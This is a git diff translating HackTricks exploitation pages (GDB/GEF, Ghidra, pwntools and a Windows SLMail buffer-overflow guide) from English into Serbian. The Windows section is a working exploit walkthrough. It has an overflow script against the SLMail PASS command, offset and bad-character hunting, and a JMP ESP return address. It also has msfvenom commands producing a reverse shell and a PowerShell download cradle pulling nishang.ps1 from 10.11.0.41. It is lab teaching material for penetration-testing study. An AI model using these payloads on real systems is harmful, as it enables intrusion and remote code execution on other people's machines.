**x/8xb $eip** --> 8 bajtova (b-> bajt, h-> 2 bajta, w-> 4 bajta, g-> 8 bajta) +* **i r eip** --> Vrednost $eip-a +* **x/w pointer** --> Vrednost pokazivača +* **x/s pointer** --> String na koji pokazuje pokazivač +* **x/xw \&pointer** --> Adresa na kojoj se nalazi pokazivač +* **x/i $eip** —> Instrukcije EIP-a ## [GEF](https://github.com/hugsy/gef) - ```bash checksec #Check protections p system #Find system function address @@ -109,34 +135,32 @@ pattern search $rsp #Search the offset given the content of $rsp 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` +## Trikovi -## Tricks +### GDB iste adrese -### GDB same addresses - -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +Prilikom debagovanja, GDB će imati **nešto drugačije adrese od onih koje koristi binarni fajl prilikom izvršavanja.** Možete postići da GDB ima iste adrese tako što ćete uraditi sledeće: * `unset env LINES` * `unset env COLUMNS` -* `set env _=` _Put the absolute path to the binary_ -* Exploit the binary using the same absolute route -* `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +* `set env _=` _Stavite apsolutnu putanju do binarnog fajla_ +* Iskoristite binarni fajl koristeći istu apsolutnu putanju +* `PWD` i `OLDPWD` moraju biti isti prilikom korišćenja GDB-a i prilikom iskorišćavanja binarnog fajla -### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +### Backtrace za pronalaženje pozvanih funkcija +Kada imate **statički povezan binarni fajl**, sve funkcije će pripadati binarnom fajlu (a ne eksternim bibliotekama). U ovom slučaju će biti teško **identifikovati tok kojim binarni fajl sledi, na primer, da traži unos korisnika**.\ +Lako možete identifikovati ovaj tok tako što ćete **pokrenuti** binarni fajl sa **gdb** sve dok vas ne zatraži unos. Zatim ga zaustavite sa **CTRL+C** i koristite komandu **`bt`** (**backtrace**) da biste videli pozvane funkcije: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -145,95 +169,88 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` - ## GDB server -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (u IDA morate popuniti apsolutnu putanju izvršnog fajla na Linux mašini i na Windows mašini) # Ghidra -## Find stack offset +## Pronalaženje offseta steka -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra** je veoma korisna za pronalaženje **offseta** za **preplavljivanje bafera zahvaljujući informacijama o poziciji lokalnih promenljivih.**\ +Na primer, u primeru ispod, preplavljivanje bafera u `local_bc` ukazuje da vam je potreban offset od `0xbc`. Osim toga, ako je `local_10` kolačić kanara, to ukazuje da postoji offset od `0xac` za prepisivanje iz `local_bc`.\ +_Zapamtite da prva 0x08 odakle se RIP čuva pripada RBP-u._ ![](<../../.gitbook/assets/image (616).png>) # GCC -**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -**-o** --> Output\ -**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompajliranje bez zaštite\ +**-o** --> Izlaz\ +**-g** --> Sačuvaj kod (GDB će moći da ga vidi)\ +**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Deaktiviranje ASLR-a u Linuxu -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**Za kompajliranje shell koda:**\ +**nasm -f elf assembly.asm** --> vraća ".o"\ +**ld assembly.o -o shellcodeout** --> Izvršni fajl # Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -**-Mintel** --> **Intel** syntax\ -**-t** --> **Symbols** table\ -**-D** --> **Disassemble all** (address of static variable)\ -**-s -j .dtors** --> dtors section\ -**-s -j .got** --> got section\ -\-D -s -j .plt --> **plt** section **decompiled**\ -**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR\_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **Razmontiraj izvršne** sekcije (vidi opkode kompajliranog shell koda, pronađi ROP Gadžete, pronađi adresu funkcije...)\ +**-Mintel** --> **Intel** sintaksa\ +**-t** --> **Tabela simbola**\ +**-D** --> **Razmontiraj sve** (adresa statičke promenljive)\ +**-s -j .dtors** --> dtors sekcija\ +**-s -j .got** --> got sekcija\ +\-D -s -j .plt --> **plt** sekcija **dekompilirana**\ +**-TR** --> **Relokacije**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresa "puts" za izmenu u GOT-u\ +**objdump -D ./exec | grep "VAR\_NAME"** --> Adresa ili statičke promenljive (one se čuvaju u DATA sekciji). -# Core dumps +# Core dumpovi -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` -3. sudo gdb --core=\ --quiet +1. Pokrenite `ulimit -c unlimited` pre pokretanja mog programa +2. Pokrenite `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +3. sudo gdb --core=\ --quiet -# More +# Više -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> Adresa (ako je ASLR, onda se menja svaki put)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Petlja za proveru da li se adresa mnogo menja\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset "system" funkcije\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset "/bin/sh" -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace executable** --> Funkcije pozvane od strane izvršnog fajla\ +**rabin2 -i ejecutable -->** Adresa svih funkcija # **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - # IDA -## Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary: +## Debagovanje na udaljenom Linuxu +Unutar IDA foldera možete pronaći binarne datoteke koje se mogu koristiti za debagovanje binarnih datoteka na Linuxu. Da biste to uradili, premestite binarnu datoteku _linux\_server_ ili _linux\_server64_ na Linux server i pokrenite je unutar foldera koji sadrži binarnu datoteku: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +Zatim, konfigurišite debager: Debager (udaljeni Linux) --> Opcije procesa...: ![](<../../.gitbook/assets/image (101).png>)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks suveniri**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/exploiting/tools/pwntools.md b/exploiting/tools/pwntools.md index 8675450ff..542ba33f0 100644 --- a/exploiting/tools/pwntools.md +++ b/exploiting/tools/pwntools.md @@ -1,133 +1,108 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - ``` pip3 install pwntools ``` - # Pwn asm -Get opcodes from line or file. - +Dobijanje opkoda sa linije ili iz fajla. ``` -pwn asm "jmp esp" +pwn asm "jmp esp" pwn asm -i ``` +**Može se izabrati:** -**Can select:** +* vrsta izlaza (sirovi, heksadecimalni, string, elf) +* kontekst izlazne datoteke (16,32,64,linux,windows...) +* izbegavanje bajtova (novih linija, nula, lista) +* izbor enkodera za debagovanje shell koda koristeći gdb za pokretanje izlaza -* output type (raw,hex,string,elf) -* output file context (16,32,64,linux,windows...) -* avoid bytes (new lines, null, a list) -* select encoder debug shellcode using gdb run the output - -# **Pwn checksec** - -Checksec script +# **Pwn checksec** +Skripta za proveru sigurnosti ``` pwn checksec ``` - # Pwn constgrep # Pwn cyclic -Get a pattern - +Dobijanje obrasca ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**Može se izabrati:** -**Can select:** - -* The used alphabet (lowercase chars by default) -* Length of uniq pattern (default 4) -* context (16,32,64,linux,windows...) -* Take the offset (-l) +* Korišćena abeceda (podrazumevano su mala slova) +* Dužina jedinstvenog obrasca (podrazumevano 4) +* Kontekst (16,32,64,linux,windows...) +* Uzeti ofset (-l) # Pwn debug -Attach GDB to a process - +Povežite GDB sa procesom ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**Može se izabrati:** -**Can select:** - -* By executable, by name or by pid context (16,32,64,linux,windows...) -* gdbscript to execute +* Po izvršnom fajlu, po imenu ili po pid kontekstu (16,32,64,linux,windows...) +* gdbscript za izvršavanje * sysrootpath -# Pwn disablenx - -Disable nx of a binary - +# Onemogući nx za binarni fajl ``` pwn disablenx ``` - # Pwn disasm -Disas hex opcodes - +Disasemblirovanje heksadecimalnih opkoda ``` pwn disasm ffe4 ``` +**Može se izabrati:** -**Can select:** - -* context (16,32,64,linux,windows...) -* base addres -* color(default)/no color +* kontekst (16,32,64,linux,windows...) +* bazna adresa +* boja (podrazumevano)/bez boje # Pwn elfdiff -Print differences between 2 fiels - +Ispisuje razlike između 2 fajla ``` pwn elfdiff ``` +# Pwn heks -# Pwn hex - -Get hexadecimal representation - +Dobijanje heksadecimalne reprezentacije ```bash pwn hex hola #Get hex of "hola" ascii ``` +# Pwn doktorat -# Pwn phd - -Get hexdump - +Dobijanje heksadecimalnog prikaza (hexdump) ``` pwn phd ``` +**Možete izabrati:** -**Can select:** - -* Number of bytes to show -* Number of bytes per line highlight byte -* Skip bytes at beginning +* Broj bajtova za prikazivanje +* Broj bajtova po liniji za isticanje bajta +* Preskočiti bajtove na početku # Pwn pwnstrip @@ -135,70 +110,59 @@ pwn phd # Pwn shellcraft -Get shellcodes - +Dobijanje shellkodova ``` -pwn shellcraft -l #List shellcodes +pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name pwn shellcraft -f hex amd64.linux.sh #Create in C and run -pwn shellcraft -r amd64.linux.sh #Run to test. Get shell +pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**Može se izabrati:** -**Can select:** +* shellcode i argumenti za shellcode +* Izlazna datoteka +* Format izlaza +* Debug (povezivanje dbg sa shellcode-om) +* Pre (debug zamka pre koda) +* Posle +* Izbegavaj korišćenje opkoda (podrazumevano: nije null i nova linija) +* Pokreni shellcode +* Boja/bez boje +* Lista sistemskih poziva +* Lista mogućih shellcode-ova +* Generiši ELF kao deljivu biblioteku -* shellcode and arguments for the shellcode -* Out file -* output format -* debug (attach dbg to shellcode) -* before (debug trap before code) -* after -* avoid using opcodes (default: not null and new line) -* Run the shellcode -* Color/no color -* list syscalls -* list possible shellcodes -* Generate ELF as a shared library - -# Pwn template - -Get a python template +# Pwn šablon +Dobijte Python šablon ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**Može izabrati:** host, port, user, pass, path i quiet # Pwn unhex -From hex to string - +Od heksadekadnog broja u string ``` pwn unhex 686f6c61 ``` +# Pwn ažuriranje -# Pwn update - -To update pwntools - +Da biste ažurirali pwntools ``` pwn update ``` - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index f1d59b8f0..52a31740e 100644 --- a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -1,33 +1,57 @@ -# Windows Exploiting (Basic Guide - OSCP lvl) +# Windows Exploiting (Osnovni vodič - OSCP nivo)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-## **Start installing the SLMail service** +## **Počnite instaliranjem SLMail servisa** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## Restartujte SLMail servis +Svaki put kada trebate **restartovati SLMail servis**, to možete uraditi koristeći Windows konzolu: ``` net start slmail ``` - ![](<../.gitbook/assets/image (23) (1).png>) -## Very basic python exploit template +## Veoma osnovni Python šablon za eksploataciju +```python +#!/usr/bin/env python3 + +import socket + +# Definišite ciljnu IP adresu i port +target_ip = "192.168.1.100" +target_port = 1337 + +# Kreirajte TCP soket +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +# Povežite se sa ciljnom IP adresom i portom +s.connect((target_ip, target_port)) + +# Pošaljite eksploatacijski kod ciljnom sistemu +payload = b"AAAAAABBBBBBCCCCC" +s.send(payload) + +# Zatvorite soket +s.close() +``` + +Ovaj Python šablon predstavlja veoma osnovnu strukturu za izradu eksploatacijskog koda. Prvo definišemo ciljnu IP adresu i port, zatim kreiramo TCP soket i povezujemo se sa ciljnim sistemom. Nakon toga, šaljemo eksploatacijski kod ciljnom sistemu i zatvaramo soket. + +Napomena: Ovaj šablon je veoma osnovan i treba ga prilagoditi specifičnostima ciljnog sistema i eksploatacijske tehnike koju želite da primenite. ```python #!/usr/bin/python @@ -39,99 +63,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **Promena fonta u Immunity Debugger-u** -## **Change Immunity Debugger Font** +Idite na `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **Povezivanje procesa sa Immunity Debugger-om:** **File --> Attach** ![](<../.gitbook/assets/image (24) (1) (1).png>) -**And press START button** +**I pritisnite dugme START** -## **Send the exploit and check if EIP is affected:** +## **Slanje exploit-a i provera da li je EIP pogođen:** ![](<../.gitbook/assets/image (25) (1) (1).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +Svaki put kada prekinete servis, trebali biste ga ponovo pokrenuti, kako je naznačeno na početku ove stranice. -## Create a pattern to modify the EIP +## Kreiranje obrasca za modifikaciju EIP-a -The pattern should be as big as the buffer you used to broke the service previously. +Obrazac treba biti veličine bafera koji ste prethodno koristili za prekid servisa. ![](<../.gitbook/assets/image (26) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +Promenite bafer eksploita i postavite šablon i pokrenite eksploit. -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +Treba da se pojavi novi pad sistema, ali sa drugačijom EIP adresom: ![](<../.gitbook/assets/image (27) (1) (1).png>) -Check if the address was in your pattern: +Proverite da li se adresa nalazi u vašem šablonu: ![](<../.gitbook/assets/image (28) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +Izgleda da **možemo izmeniti EIP na offsetu 2606** bafera. -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +Proverite to izmenom bafera eksploita: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +Sa ovim baferom, EIP bi trebao da se sruši i pokazuje na 42424242 ("BBBB") ![](<../.gitbook/assets/image (30) (1) (1).png>) ![](<../.gitbook/assets/image (29) (1) (1).png>) -Looks like it is working. +Izgleda da radi. -## Check for Shellcode space inside the stack +## Provera za Shellcode prostor unutar steka -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600B bi trebalo da bude dovoljno za bilo koji moćan shellcode. +Hajde da promenimo bafer: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +Pokrenite novi exploit i proverite EBP i dužinu korisnog shell koda. ![](<../.gitbook/assets/image (31) (1).png>) ![](<../.gitbook/assets/image (32) (1).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +Možete videti da kada se dostigne ranjivost, EBP pokazuje na shell kod i da imamo puno prostora da lociramo shell kod ovde. -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +U ovom slučaju imamo **od 0x0209A128 do 0x0209A2D6 = 430B.** Dovoljno. -## Check for bad chars - -Change again the buffer: +## Provera loših karaktera +Ponovo promenite bafer: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -153,30 +167,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +Loši karakteri počinju od 0x01 jer je 0x00 gotovo uvek loš. -The badchars starts in 0x01 because 0x00 is almost always bad. +Izvršite ponovno eksploataciju sa ovim novim baferom izbacujući karaktere koji su se pokazali beskorisnim:. -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +Na primer: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +U ovom slučaju možete videti da **ne biste trebali koristiti karakter 0x0A** (ništa nije sačuvano u memoriji od karaktera 0x09). ![](<../.gitbook/assets/image (33) (1).png>) -In this case you can see that **the char 0x0D is avoided**: +U ovom slučaju možete videti da **se karakter 0x0D izbegava**: ![](<../.gitbook/assets/image (34) (1).png>) -## Find a JMP ESP as a return address - -Using: +## Pronalaženje JMP ESP kao povratne adrese +Koristeći: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: +**Prikazaćete mape memorije**. Potražite neki DLL koji ima: * **Rebase: False** * **SafeSEH: False** @@ -186,30 +197,25 @@ You will **list the memory maps**. Search for some DLl that has: ![](<../.gitbook/assets/image (35) (1).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +Sada, unutar ove memorije trebali biste pronaći neke bajtove JMP ESP, da biste to uradili izvršite: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**Zatim, ako se pronađe neka adresa, odaberite onu koja ne sadrži nijedan loš karakter:** ![](<../.gitbook/assets/image (36) (1).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**U ovom slučaju, na primer: \_0x5f4a358f**\_ +## Kreirajte shellcode ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +Ako eksploit ne radi, iako bi trebao (možete videti sa ImDebg da je shellcode dostignut), pokušajte da kreirate druge shellcode-ove (msfvenom će kreirati različite shellcode-ove za iste parametre). -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**Dodajte nekoliko NOPS-a na početak** shellcode-a i koristite ga i povratnu adresu za JMP ESP, i završite eksploit: ```bash #!/usr/bin/python @@ -248,39 +254,36 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - {% hint style="warning" %} -There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +Postoje shellkodovi koji će **prepisati sami sebe**, stoga je važno uvijek dodati nekoliko NOP naredbi prije shellkoda. {% endhint %} -## Improving the shellcode - -Add this parameters: +## Poboljšanje shellkoda +Dodajte ove parametre: ``` EXITFUNC=thread -e x86/shikata_ga_nai ``` -
